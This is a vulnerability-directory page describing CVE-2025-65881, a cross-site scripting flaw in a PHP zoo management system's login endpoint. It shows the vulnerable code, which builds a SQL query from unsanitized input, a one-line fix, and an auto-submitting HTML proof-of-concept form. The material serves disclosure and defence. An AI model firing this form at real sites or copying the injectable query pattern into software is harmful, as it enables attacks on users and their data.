Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-65881 — Sourcecodester Zoo Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /classes/Login.php Due to invalid Content-Type | Kitploit
Tools/GitHubGitHub/mmakingdom/cve-2025-65881
Vulnerability AnalysisCode AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationRepository Deleted
GitHubmmakingdom/cve-2025-65881

CVE-2025-65881

Sourcecodester Zoo Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /classes/Login.php Due to invalid Content-Type

The upstream repository was not found during the latest Kitploit update check. This listing remains available for reference, but it has been removed from search results.
1111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-65881

The Project Zoo Management System v1.00 is vulnerable to Cross-site scripting (XSS) on /zms/classes/Login.php?f=login due to:

  1. Invalid Content-type of JSON Responses on /zms/classes/Login.php?f=login
  2. Unsanitized User Input in Responses

Allowing unauthenticated attackers to inject malicious HTML/JS that executes in victim's browsers.

Affected File & Vulnerable Code

/zms/classes/Login.php

return json_encode(array(
    'status' => 'incorrect',
    'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));

Root Cause

  1. The endpoint does not set the content type to application/json.
  2. $username parameter is not sanitized when used in SQL queries or when reflected in the response, This same flaw previously resulted in a SQL Injection vulnerability (CVE-2025-7160)

Remediation

Add this line on the function login():

public function login(){
		header('Content-Type: application/json; charset=utf-8');
		extract($_POST);

header

Proof of Concept

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="http://localhost/zms/classes/Login.php?f=login" method="post">
      <input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
    <input type="hidden" name="password" value="awdawda" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

XSS

References

Source code can be downloaded for free here:

https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html

Credit

Muntadhar M. Ahmed (almuntadhar0x01)